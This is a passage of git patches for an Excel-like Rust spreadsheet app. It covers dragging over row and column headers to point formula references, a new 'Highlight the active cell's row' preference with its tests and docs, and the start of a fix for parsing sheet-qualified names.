Drag::PointCols(anchor) => { + let col = geo.col_at(sh, p.x.clamp(geo.cells.left() + 1.0, geo.cells.right() - 1.0)); + RangeRef::cols(anchor.min(col), anchor.max(col)) + } + Drag::PointRows(anchor) => { + let row = geo.row_at(sh, p.y.clamp(geo.cells.top() + 1.0, geo.cells.bottom() - 1.0)); + RangeRef::rows(anchor.min(row), anchor.max(row)) + } + _ => return, + }; + let Some(ed) = app.editor.as_mut().filter(|ed| ed.point_at_caret()) else { return }; + let reference = header_reference(ed, wb, sh, range); + ed.insert_ref(&reference); + ed.point_cell = Some(range.start); +} + fn select_to_pointer(app: &mut SheetApp, geo: &Geo, sh: &Sheet, wb: &Workbook, p: Pos2) { let cell = CellRef::new( geo.row_at(sh, p.y.clamp(geo.cells.top() + 1.0, geo.cells.bottom() - 1.0)), diff --git a/crates/ui-egui/tests/it/formula_point_headers.rs b/crates/ui-egui/tests/it/formula_point_headers.rs index 61c4192fa..06d5b9308 100644 --- a/crates/ui-egui/tests/it/formula_point_headers.rs +++ b/crates/ui-egui/tests/it/formula_point_headers.rs @@ -173,3 +173,92 @@ fn shift_does_not_extend_a_row_reference_across_sheets() { [("6:6".into(), Some("Other sheet".into())),] ); } + +fn press_and_drag(h: &mut egui_kittest::Harness<'_, SheetApp>, from: Pos2, to: Pos2, modifiers: Modifiers) { + h.input_mut().events.push(Event::ModifiersChanged(modifiers)); + h.input_mut() + .events + .extend([Event::PointerMoved(from), Event::PointerButton { pos: from, button: PointerButton::Primary, pressed: true, modifiers }]); + h.step(); + drag_to(h, to); +} + +fn drag_to(h: &mut egui_kittest::Harness<'_, SheetApp>, to: Pos2) { + h.input_mut().events.push(Event::PointerMoved(to)); + h.step(); +} + +fn release(h: &mut egui_kittest::Harness<'_, SheetApp>, at: Pos2) { + h.input_mut().events.push(Event::PointerButton { pos: at, button: PointerButton::Primary, pressed: false, modifiers: Modifiers::NONE }); + h.run_steps(2); + h.input_mut().events.push(Event::ModifiersChanged(Modifiers::NONE)); +} + +fn text<'a>(h: &'a egui_kittest::Harness<'_, SheetApp>) -> &'a str { + h.state().editor.as_ref().map_or("", |ed| ed.text.as_str()) +} + +#[test] +fn dragging_over_column_headers_extends_the_reference() { + let mut h = harness(); + let (c, e, a, d) = (header_center(&h, false, 2), header_center(&h, false, 4), header_center(&h, false, 0), header_center(&h, false, 3)); + press_and_drag(&mut h, c, e, Modifiers::NONE); + assert_eq!(text(&h), "=SUM(C:E"); + // Back past the press: the reference follows the pointer instead of keeping E. + drag_to(&mut h, a); + assert_eq!(text(&h), "=SUM(A:C"); + // The release position counts even without a movement frame before it. + release(&mut h, d); + assert_eq!(text(&h), "=SUM(C:D"); + assert_eq!(h.state().session.active().unwrap().selection.current().a1(), "F8"); +} + +#[test] +fn dragging_over_row_headers_extends_the_reference() { + let mut h = harness(); + let (r3, r6, r2) = (header_center(&h, true, 2), header_center(&h, true, 5), header_center(&h, true, 1)); + press_and_drag(&mut h, r3, r6, Modifiers::NONE); + assert_eq!(text(&h), "=SUM(3:6"); + release(&mut h, r2); + assert_eq!(text(&h), "=SUM(2:3"); + assert_eq!(h.state().session.active().unwrap().selection.current().a1(), "F8"); +} + +#[test] +fn header_drag_on_another_sheet_keeps_the_qualifier() { + let mut h = harness(); + h.state_mut().session.execute("home.insertSheet", json!({"name": "Other sheet"})).unwrap(); + h.run_steps(2); + let (b, d) = (header_center(&h, false, 1), header_center(&h, false, 3)); + press_and_drag(&mut h, b, d, Modifiers::NONE); + assert_eq!(text(&h), "=SUM('Other sheet'!B:D"); +} + +#[test] +fn header_drag_with_command_keeps_the_earlier_argument() { + let mut h = harness(); + let (a, e, f) = (header_center(&h, false, 0), header_center(&h, false, 4), header_center(&h, false, 5)); + click(&mut h, a); + press_and_drag(&mut h, e, f, Modifiers { mac_cmd: true, command: true, ..Modifiers::NONE }); + assert_eq!(text(&h), "=SUM(A:A,E:F"); +} + +#[test] +fn header_drag_with_shift_keeps_the_far_end_of_the_reference() { + let mut h = harness(); + let (c, e, d) = (header_center(&h, false, 2), header_center(&h, false, 4), header_center(&h, false, 3)); + click(&mut h, c); + press_and_drag(&mut h, e, d, Modifiers { shift: true, ..Modifiers::NONE }); + assert_eq!(text(&h), "=SUM(C:D"); +} + +#[test] +fn clicks_on_headers_replace_the_reference_after_a_drag_too() { + let mut h = harness(); + let (c, e, g) = (header_center(&h, false, 2), header_center(&h, false, 4), header_center(&h, false, 6)); + press_and_drag(&mut h, c, e, Modifiers::NONE); + release(&mut h, e); + assert_eq!(text(&h), "=SUM(C:E"); + click(&mut h, g); + assert_eq!(text(&h), "=SUM(G:G"); +} diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 125182d27..b15cd3fbf 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -1,6 +1,6 @@ # UI parity -> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-02 · **Change:** minor (RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-03 · **Change:** minor (dragging over row or column headers in point mode extends the reference; earlier: RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Interaction, controls and feel, against Excel. Part of [target-app-parity.md](target-app-parity.md). **UI/UX fidelity: ~55% ready, 50–80 h** (estimated). Ribbon command coverage is measured @@ -57,7 +57,7 @@ this logic, with one undo step. | Fill handle: drag to fill series, double-click to fill down, right-drag menu | fill done (Ctrl+drag swaps copy and series; month patterns use the workbook's 1900 or 1904 date system); right-drag menu partial: Copy Cells, Fill Series, Fill Formatting Only, Fill Without Formatting, and from a date Fill Days, Fill Weekdays, Fill Months and Fill Years, then Series…; a left-drag leaves an Auto Fill Options button with the same fill choices (gone once the workbook changes or the selection moves); Linear/Growth Trend and Flash Fill missing | | Drag-move and drag-copy cells (border drag, Ctrl/Option, Shift to insert) | done (M3) | | In-cell editing, Enter/Tab movement, Alt/Option+Enter line breaks | done | -| Point mode (click/drag/arrow references), reference colouring, F4 | done; Command/Ctrl-click adds separate arguments with the edit's locale separator, and Shift-click extends the current reference from a fixed anchor on the same sheet. Pointer-event regressions cover repeated/reversed selections, manual separators, sheet switches and keyboard continuation. | +| Point mode (click/drag/arrow references), reference colouring, F4 | done; dragging over row or column headers points at whole rows or columns (`A:C`, `2:5`); Command/Ctrl-click adds separate arguments with the edit's locale separator, and Shift-click extends the current reference from a fixed anchor on the same sheet. Pointer-event regressions cover repeated/reversed selections, manual separators, sheet switches and keyboard continuation. | | Number-format colors (`[Green]`, `[Color1]`–`[Color56]`) | Rendered in grid and PDF from shared RGB mappings (#1452) | | Point mode (click/drag/arrow references), reference colouring, F4 | done | | AutoComplete in columns, function autocomplete and argument tips | done; cell helpers clip to the worksheet and hide when the editor scrolls out (#200) | @@ -237,6 +237,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | Date | Change | Summary | |---|---|---| +| 2026-11-03 | minor | Point mode: dragging over row or column headers extends the whole-row or whole-column reference, as it does over cells | | 2026-11-02 | minor | RefEdit reference boxes in dialogs: pick a range on the grid, collapse the dialog while selecting; Goal Seek, Solver (with the Model Range of Load/Save) and Data Analysis use them; while collapsed the arrow keys move the selection and Shift+arrow extends it, F4 cycles a reference's anchors, a click elsewhere keeps the box picking, a dialog opened over a picking one puts the selection back, OK stays on the sheet its command showed, and scripted cancel and confirm end a pick like the buttons; the dialog's sheet is followed through the recorded undo steps, so a sheet deleted and recreated under its name is not taken for it and an undo of the deletion brings it back; a box the dialog stops showing is no longer picked into | | 2026-11-02 | minor | Python mode edits a cell's code in the formula bar's code editor (Ctrl+Alt+Shift+P, `=PY` then Tab, editing a Python cell), with the PY badge beside fx; its keys apply in input order, also several in one frame, and Ctrl+Enter commits through `python.set` (empty code clears the cell), keeping the code and showing the command's message when the code is refused | | 2026-11-02 | minor | Insert › Symbols: Equation split button (access keys N E), a gallery of examples, and an equation editor with quick-insert buttons, the error underlined at its position and a live preview; double-clicking an equation edits it | From 38a7067ca26aaf884e54bb79cae90b708b974e18 Mon Sep 17 00:00:00 2001 From: Daniele Mori Date: Tue, 3 Nov 2026 13:59:41 +0100 Subject: [PATCH 269/298] Options: highlight the active cell's row, as a global preference On a wide table the eye loses its place following a row from the active cell. File > Options > General gets "Highlight the active cell's row", off by default: a tint across the whole row of the active cell, over the fills and under the text, in Normal and Page Layout views. It is a preference for every sheet and workbook, so nothing goes into the file, the workbook does not become dirty and there is no undo step. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/app/commands.rs | 4 + crates/ui-egui/src/backstage/options.rs | 4 + crates/ui-egui/src/control.rs | 1 + crates/ui-egui/src/grid.rs | 2 + crates/ui-egui/src/grid/active_row.rs | 28 ++++ crates/ui-egui/src/grid/quadrant.rs | 7 + crates/ui-egui/src/grid/show.rs | 14 +- crates/ui-egui/src/i18n/it.rs | 1 + crates/ui-egui/src/lib.rs | 4 + crates/ui-egui/src/paper_view.rs | 14 +- crates/ui-egui/src/theme.rs | 3 + .../ui-egui/tests/it/active_row_highlight.rs | 124 ++++++++++++++++++ crates/ui-egui/tests/it/main.rs | 1 + docs/ui-parity.md | 4 +- 14 files changed, 208 insertions(+), 3 deletions(-) create mode 100644 crates/ui-egui/src/grid/active_row.rs create mode 100644 crates/ui-egui/tests/it/active_row_highlight.rs diff --git a/crates/ui-egui/src/app/commands.rs b/crates/ui-egui/src/app/commands.rs index 86a4a6cc5..db657f567 100644 --- a/crates/ui-egui/src/app/commands.rs +++ b/crates/ui-egui/src/app/commands.rs @@ -191,6 +191,10 @@ impl SheetApp { self.ui.autocomplete = p.get("on").and_then(Json::as_bool).unwrap_or(!self.ui.autocomplete); Ok(json!({"on": self.ui.autocomplete})) } + "options.highlightActiveRow" => { + self.ui.highlight_active_row = p.get("on").and_then(Json::as_bool).unwrap_or(!self.ui.highlight_active_row); + Ok(json!({"on": self.ui.highlight_active_row})) + } "view.interfaceScale" => { // `{"percent": 125}` or `{"percent": "auto"}`; out-of-range values are clamped. let percent = match p.get("percent") { diff --git a/crates/ui-egui/src/backstage/options.rs b/crates/ui-egui/src/backstage/options.rs index 6b9f70eb7..8d62ae41b 100644 --- a/crates/ui-egui/src/backstage/options.rs +++ b/crates/ui-egui/src/backstage/options.rs @@ -14,6 +14,10 @@ pub(super) fn options(app: &mut SheetApp, ui: &mut Ui) { if ui.checkbox(&mut formula_bar, lang.tr("Show formula bar")).changed() { app.run_or_alert("view.formulaBar", json!({"on": formula_bar})); } + let mut highlight_row = app.ui.highlight_active_row; + if ui.checkbox(&mut highlight_row, lang.tr("Highlight the active cell's row")).changed() { + app.run_or_alert("options.highlightActiveRow", json!({"on": highlight_row})); + } ui.add_space(18.0); section(ui, lang, "Options|Editing"); let mut autocomplete = app.ui.autocomplete; diff --git a/crates/ui-egui/src/control.rs b/crates/ui-egui/src/control.rs index 2d46b21b8..4cf1a77df 100644 --- a/crates/ui-egui/src/control.rs +++ b/crates/ui-egui/src/control.rs @@ -269,6 +269,7 @@ pub fn handle(app: &mut SheetApp, ctx: &egui::Context, method: &str, p: &Json) - ("view.theme", "Display Theme", ""), ("view.animations", "Animations", "{on?: bool} (toggles without it) → {on}"), ("options.autoComplete", "Enable AutoComplete for cell values", "{on?: bool} (toggles without it) → {on}"), + ("options.highlightActiveRow", "Highlight the active cell's row", "{on?: bool} (toggles without it) → {on}"), ("view.interfaceScale", "Interface Size", "{percent: 75–200 | \"auto\"} (100 = auto; clamped)"), ("ui.dialog", "Open Dialog", ""), ("ui.backstage", "File (Backstage view)", "{page?: home|new|open|info|saveAs|print|export|options|account|close}"), diff --git a/crates/ui-egui/src/grid.rs b/crates/ui-egui/src/grid.rs index 5a6dd3978..1b92ed0c0 100644 --- a/crates/ui-egui/src/grid.rs +++ b/crates/ui-egui/src/grid.rs @@ -22,6 +22,8 @@ type PagesCache = ((u64, u64, usize), Vec<(RangeRef, u32)>); /// Cached Show Details cells, keyed by (doc uid, revision, sheet, pivot). type DetailsCache = ((u64, u64, usize, usize), Option>); +mod active_row; +pub use active_row::active_row_band; mod cell_paint; mod cursor; mod editor; diff --git a/crates/ui-egui/src/grid/active_row.rs b/crates/ui-egui/src/grid/active_row.rs new file mode 100644 index 000000000..89c33dce2 --- /dev/null +++ b/crates/ui-egui/src/grid/active_row.rs @@ -0,0 +1,28 @@ +//! "Highlight the active cell's row" (File ▸ Options ▸ General): a tint across the whole row of +//! the active cell, so the eye keeps its place in a wide table. + +use super::geo::Geo; +use super::quadrant::QuadrantPaint; +use super::{Rect, Sheet, pos2}; + +/// The tinted band of `row` inside one quadrant (`rows` x `cols`): none when the row is outside +/// the quadrant or hidden. +pub fn active_row_band(geo: &Geo, sh: &Sheet, row: u32, rows: (u32, u32), cols: (u32, u32)) -> Option { + let height = sh.row_height(row) * geo.z; + if row < rows.0 || row > rows.1 || height <= 0.0 { + return None; + } + let top = geo.y(sh, row); + let right = geo.x(sh, cols.1) + sh.col_width(cols.1) * geo.z; + Some(Rect::from_min_max(pos2(geo.x(sh, cols.0), top), pos2(right, top + height))) +} + +/// Paints the band of one quadrant, when the preference is on. With `within`, only the part of it +/// inside that area (text running past its cell has just cleared it). +pub(super) fn paint_active_row(q: &QuadrantPaint<'_>, within: Option) { + let Some(band) = q.active_row.and_then(|row| active_row_band(q.geo, q.sheet, row, q.rows, q.cols)) else { return }; + let part = within.map_or(band, |area| band.intersect(area)); + if part.is_positive() { + q.painter.rect_filled(part, 0.0, q.tokens.active_row); + } +} diff --git a/crates/ui-egui/src/grid/quadrant.rs b/crates/ui-egui/src/grid/quadrant.rs index 554bdcfdd..84155bf26 100644 --- a/crates/ui-egui/src/grid/quadrant.rs +++ b/crates/ui-egui/src/grid/quadrant.rs @@ -1,3 +1,4 @@ +use super::active_row::paint_active_row; use super::cell_paint::{ Look, MergedArea, cell_text_y, center_across_end, col32, display_text, look, merged_edges, paint_border, paint_cf_icon, painted_halign, rotated_text_pos, shrink_font, wrapped_cell_text_y, @@ -102,6 +103,8 @@ pub(crate) struct QuadrantPaint<'a> { pub(crate) cols: (u32, u32), pub(crate) cf: &'a mut CfCache, pub(crate) tokens: &'a Tokens, + /// The row to tint, when "Highlight the active cell's row" is on. + pub(crate) active_row: Option, } /// Paint a worksheet quadrant, including backgrounds, borders, and text. @@ -118,6 +121,8 @@ pub(crate) fn paint_quadrant(mut quadrant: QuadrantPaint<'_>) { let cells = visible_cells(&quadrant); let looks = paint_backgrounds(&mut quadrant, &cells, &merges); let outside = outside_text_cells(&mut quadrant, &merges); + // Over the fills and under the text and borders. + paint_active_row(&quadrant, None); paint_cells(&mut quadrant, &looks, &outside, &merges); paint_borders(&mut quadrant, &looks, &merges); paint_sparklines(&quadrant, range); @@ -478,9 +483,11 @@ fn paint_cell(q: &QuadrantPaint<'_>, painted: &(CellRef, Rect, Look, Option 0.0 { p.rect_filled(extra_l, 0.0, t.grid_bg); + paint_active_row(q, Some(extra_l)); } if extra_r.width() > 0.0 { p.rect_filled(extra_r, 0.0, t.grid_bg); + paint_active_row(q, Some(extra_r)); } } } diff --git a/crates/ui-egui/src/grid/show.rs b/crates/ui-egui/src/grid/show.rs index f1416c2ec..bcf128c17 100644 --- a/crates/ui-egui/src/grid/show.rs +++ b/crates/ui-egui/src/grid/show.rs @@ -404,7 +404,19 @@ fn paint_panes(input: PanesInput<'_>, cf: &mut CfCache) -> Vec { continue; } let p = painter.with_clip_rect(*clip); - paint_quadrant(QuadrantPaint { painter: &p, geo, workbook: wb, sheet_index: si, sheet: sh, rows: *rows, cols: *cols, cf, tokens: t }); + let active_row = app.ui.highlight_active_row.then_some(sel.active.row); + paint_quadrant(QuadrantPaint { + painter: &p, + geo, + workbook: wb, + sheet_index: si, + sheet: sh, + rows: *rows, + cols: *cols, + cf, + tokens: t, + active_row, + }); paint_selection(SelectionPaintInput { painter: &p, geo, sheet: sh, selection: sel, outline, tokens: t, app, rows: *rows, cols: *cols }); } // Freeze lines. diff --git a/crates/ui-egui/src/i18n/it.rs b/crates/ui-egui/src/i18n/it.rs index f72a4cdf1..a0ca6bd16 100644 --- a/crates/ui-egui/src/i18n/it.rs +++ b/crates/ui-egui/src/i18n/it.rs @@ -410,6 +410,7 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Options|Save" => "Salvataggio", "Options|Editing" => "Modifica", "Show formula bar" => "Mostra barra della formula", + "Highlight the active cell's row" => "Evidenzia la riga della cella attiva", "Enable AutoComplete for cell values" => "Abilita Completamento automatico per i valori delle celle", "Save .xlsx workbooks automatically after every change" => "Salva automaticamente le cartelle di lavoro .xlsx dopo ogni modifica", "Workbook calculation" => "Calcolo della cartella di lavoro", diff --git a/crates/ui-egui/src/lib.rs b/crates/ui-egui/src/lib.rs index 95f861f14..78a949d0c 100644 --- a/crates/ui-egui/src/lib.rs +++ b/crates/ui-egui/src/lib.rs @@ -94,6 +94,9 @@ pub struct UiState { /// Enable AutoComplete for cell values (File ▸ Options ▸ Editing): typed text is completed /// from the one matching entry in the same column. pub autocomplete: bool, + /// Tint the active cell's whole row (File ▸ Options ▸ General), on every sheet and workbook, so + /// the eye keeps its place across a wide table. A preference: nothing goes into the file. + pub highlight_active_row: bool, /// AutoSave (the title-bar switch): save saved-to-file .xlsx workbooks shortly after every /// change. A preference like the rest of this struct — it stays on across restarts (#1901). pub autosave: bool, @@ -140,6 +143,7 @@ impl Default for UiState { status_bar: true, animations: true, autocomplete: true, + highlight_active_row: false, autosave: false, recent: vec![], keytip_invoke: None, diff --git a/crates/ui-egui/src/paper_view.rs b/crates/ui-egui/src/paper_view.rs index f444b6ac2..114d1e8ca 100644 --- a/crates/ui-egui/src/paper_view.rs +++ b/crates/ui-egui/src/paper_view.rs @@ -162,7 +162,19 @@ pub(crate) fn paint_pages(input: PagePaintInput<'_>, cf: &mut CfCache) -> Vec egui_kittest::Harness<'static, SheetApp> { + let mut h = crate::common::builder().with_size(vec2(1200.0, 800.0)).build_ui_state( + |ui, app: &mut SheetApp| { + app.logic(ui.ctx()); + app.ui(ui); + }, + crate::common::app(session), + ); + h.run_steps(4); + h +} + +fn book(active: &str) -> Session { + let mut session = Session::new(); + session.new_workbook(); + session.execute("selection.set", json!({"range": active})).unwrap(); + session +} + +/// The rectangles painted with the highlight's own colour. +fn tinted(h: &egui_kittest::Harness<'_, SheetApp>) -> Vec { + let tint = Tokens::get(&h.ctx).active_row; + h.output() + .shapes + .iter() + .filter_map(|clipped| match &clipped.shape { + Shape::Rect(r) if r.fill == tint => Some(r.rect), + _ => None, + }) + .collect() +} + +#[test] +fn it_is_off_by_default_and_paints_nothing() { + assert!(!UiState::default().highlight_active_row); + let h = harness(book("C5")); + assert!(tinted(&h).is_empty()); +} + +#[test] +fn turned_on_it_tints_the_active_row_across_the_columns() { + let mut h = harness(book("C5")); + assert_eq!(h.state_mut().run("options.highlightActiveRow", json!({"on": true})), Ok(json!({"on": true}))); + h.run_steps(2); + let bands = tinted(&h); + assert_eq!(bands.len(), 1, "{bands:?}"); + let app = h.state(); + let sheet = app.session.active().unwrap().wb.active().unwrap(); + let geo = Geo::new(sheet, app.grid.rect.unwrap(), app.view().scroll); + let cell = geo.cell_rect(sheet, CellRef::parse("C5").unwrap()); + assert_eq!((bands[0].top(), bands[0].bottom()), (cell.top(), cell.bottom())); + assert!(bands[0].left() <= geo.cells.left() + 1.0, "starts at the first column: {:?}", bands[0]); + assert!(bands[0].right() >= geo.cells.right() - 1.0, "reaches the last visible column: {:?}", bands[0]); +} + +#[test] +fn the_band_follows_the_active_cell_and_only_the_row() { + let mut h = harness(book("C5")); + h.state_mut().run("options.highlightActiveRow", json!({"on": true})).unwrap(); + h.state_mut().session.execute("selection.set", json!({"range": "E9"})).unwrap(); + h.run_steps(2); + let bands = tinted(&h); + assert_eq!(bands.len(), 1, "a row, and no column band: {bands:?}"); + let app = h.state(); + let sheet = app.session.active().unwrap().wb.active().unwrap(); + let geo = Geo::new(sheet, app.grid.rect.unwrap(), app.view().scroll); + assert_eq!(bands[0].top(), geo.cell_rect(sheet, CellRef::parse("E9").unwrap()).top()); +} + +#[test] +fn it_applies_to_every_sheet_and_workbook() { + let mut h = harness(book("C5")); + h.state_mut().run("options.highlightActiveRow", json!({"on": true})).unwrap(); + h.state_mut().session.execute("home.insertSheet", json!({"name": "Other"})).unwrap(); + h.run_steps(2); + assert_eq!(tinted(&h).len(), 1, "another sheet"); + h.state_mut().session.new_workbook(); + h.run_steps(2); + assert_eq!(tinted(&h).len(), 1, "another workbook"); +} + +#[test] +fn turning_it_off_clears_the_band_and_the_toggle_leaves_the_workbook_alone() { + let mut h = harness(book("C5")); + let dirty = h.state().session.active().unwrap().is_dirty(); + assert_eq!(h.state_mut().run("options.highlightActiveRow", json!({})), Ok(json!({"on": true})), "no parameters: it toggles"); + h.run_steps(2); + assert_eq!(h.state().session.active().unwrap().is_dirty(), dirty); + assert_eq!(h.state_mut().run("options.highlightActiveRow", json!({})), Ok(json!({"on": false}))); + h.run_steps(2); + assert!(tinted(&h).is_empty()); + assert_eq!(h.state().session.active().unwrap().is_dirty(), dirty); +} + +#[test] +fn the_preference_survives_a_restart_and_older_settings_read_as_off() { + let state = UiState { highlight_active_row: true, ..UiState::default() }; + let saved = serde_json::to_string(&state).unwrap(); + assert!(serde_json::from_str::(&saved).unwrap().highlight_active_row); + assert!(!serde_json::from_str::("{}").unwrap().highlight_active_row); +} + +#[test] +fn a_hidden_row_or_a_row_outside_the_quadrant_has_no_band() { + let mut session = book("A1"); + session.execute("home.rowHeight", json!({"rows": "5:5", "height": 0})).unwrap(); + let h = harness(session); + let app = h.state(); + let sheet = app.session.active().unwrap().wb.active().unwrap(); + let geo = Geo::new(sheet, app.grid.rect.unwrap(), app.view().scroll); + assert_eq!(active_row_band(&geo, sheet, 4, (0, 20), (0, 5)), None, "hidden"); + assert_eq!(active_row_band(&geo, sheet, 30, (0, 20), (0, 5)), None, "outside"); + assert!(active_row_band(&geo, sheet, 6, (0, 20), (0, 5)).is_some()); +} diff --git a/crates/ui-egui/tests/it/main.rs b/crates/ui-egui/tests/it/main.rs index f1240dcd6..df6d47842 100644 --- a/crates/ui-egui/tests/it/main.rs +++ b/crates/ui-egui/tests/it/main.rs @@ -7,6 +7,7 @@ mod common; mod accounting_fill; +mod active_row_highlight; mod advanced_filter; mod argument_names; mod autosave_persist; diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 125182d27..ca917a571 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -1,6 +1,6 @@ # UI parity -> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-02 · **Change:** minor (RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-03 · **Change:** minor (Highlight the active cell's row, a global preference in File › Options › General; earlier: RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Interaction, controls and feel, against Excel. Part of [target-app-parity.md](target-app-parity.md). **UI/UX fidelity: ~55% ready, 50–80 h** (estimated). Ribbon command coverage is measured @@ -54,6 +54,7 @@ this logic, with one undo step. | Click/drag/Shift/Ctrl selection, multi-area selection | rectangular drag works in one direction only in some cases (#28) | | Cursor while dragging cells, headers, freeze handles and objects | stable for the active drag (#936); Draw tools keep their crosshair; header arrows and a custom cell cursor remain unimplemented | | Selection outline glides to a new selection (Excel: "Provide feedback with animation") | done (10-11): 0.12 s, decelerating, with the fill and fill handle; View ▸ Animations (`view.animations`) turns it off. The timing is an estimate, not yet measured against Excel; the system's reduced-motion setting isn't followed yet | +| Highlight the active cell's row (no Excel equivalent; Focus Cell tints the row and the column) | done (11-03): File › Options › General, off by default; a preference for every sheet and workbook, nothing saved in the file. Tints over the fills and under the text, in Normal and Page Layout views (`options.highlightActiveRow`) | | Fill handle: drag to fill series, double-click to fill down, right-drag menu | fill done (Ctrl+drag swaps copy and series; month patterns use the workbook's 1900 or 1904 date system); right-drag menu partial: Copy Cells, Fill Series, Fill Formatting Only, Fill Without Formatting, and from a date Fill Days, Fill Weekdays, Fill Months and Fill Years, then Series…; a left-drag leaves an Auto Fill Options button with the same fill choices (gone once the workbook changes or the selection moves); Linear/Growth Trend and Flash Fill missing | | Drag-move and drag-copy cells (border drag, Ctrl/Option, Shift to insert) | done (M3) | | In-cell editing, Enter/Tab movement, Alt/Option+Enter line breaks | done | @@ -237,6 +238,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | Date | Change | Summary | |---|---|---| +| 2026-11-03 | minor | Highlight the active cell's row: a global preference that tints the whole row, off by default | | 2026-11-02 | minor | RefEdit reference boxes in dialogs: pick a range on the grid, collapse the dialog while selecting; Goal Seek, Solver (with the Model Range of Load/Save) and Data Analysis use them; while collapsed the arrow keys move the selection and Shift+arrow extends it, F4 cycles a reference's anchors, a click elsewhere keeps the box picking, a dialog opened over a picking one puts the selection back, OK stays on the sheet its command showed, and scripted cancel and confirm end a pick like the buttons; the dialog's sheet is followed through the recorded undo steps, so a sheet deleted and recreated under its name is not taken for it and an undo of the deletion brings it back; a box the dialog stops showing is no longer picked into | | 2026-11-02 | minor | Python mode edits a cell's code in the formula bar's code editor (Ctrl+Alt+Shift+P, `=PY` then Tab, editing a Python cell), with the PY badge beside fx; its keys apply in input order, also several in one frame, and Ctrl+Enter commits through `python.set` (empty code clears the cell), keeping the code and showing the command's message when the code is refused | | 2026-11-02 | minor | Insert › Symbols: Equation split button (access keys N E), a gallery of examples, and an equation editor with quick-insert buttons, the error underlined at its position and a live preview; double-clicking an equation edits it | From 2caf435a38a2e2d62625c47b7ccd64befca2ea66 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 07:21:22 -0600 Subject: [PATCH 270/298] #2012: split a parsed sheet-qualified name at the last `!`, sheet as is Addresses review comments 4455115540 and 4455115557. The parser stores `'Sheet'!Name` as `Sheet!Name` with the sheet already unquoted: - Evaluator::name split it at the first `!`, so a series named `'a!b'!Title` showed #NAME?. - chart_name unquoted it again, trimming spaces, so a chart reference to `' Sales '!Data` was saved as `Sales!Data`. Both now split at the last `!` and look the sheet up as is. Tests: chart tests::a_series_named_by_a_name_on_a_sheet_with_a_bang_resolves, xlsx tests::chart_book_names::chart_names_keep_spaces_around_a_quoted_sheet_name. Co-Authored-By: Claude Opus 5.5 --- crates/calc/src/eval.rs | 7 +++-- crates/chart/src/tests.rs | 36 +++++++++++++++++++++ crates/xlsx/src/chart.rs | 11 ++++--- crates/xlsx/src/tests/chart_book_names.rs | 38 +++++++++++++++++++++++ 4 files changed, 84 insertions(+), 8 deletions(-) diff --git 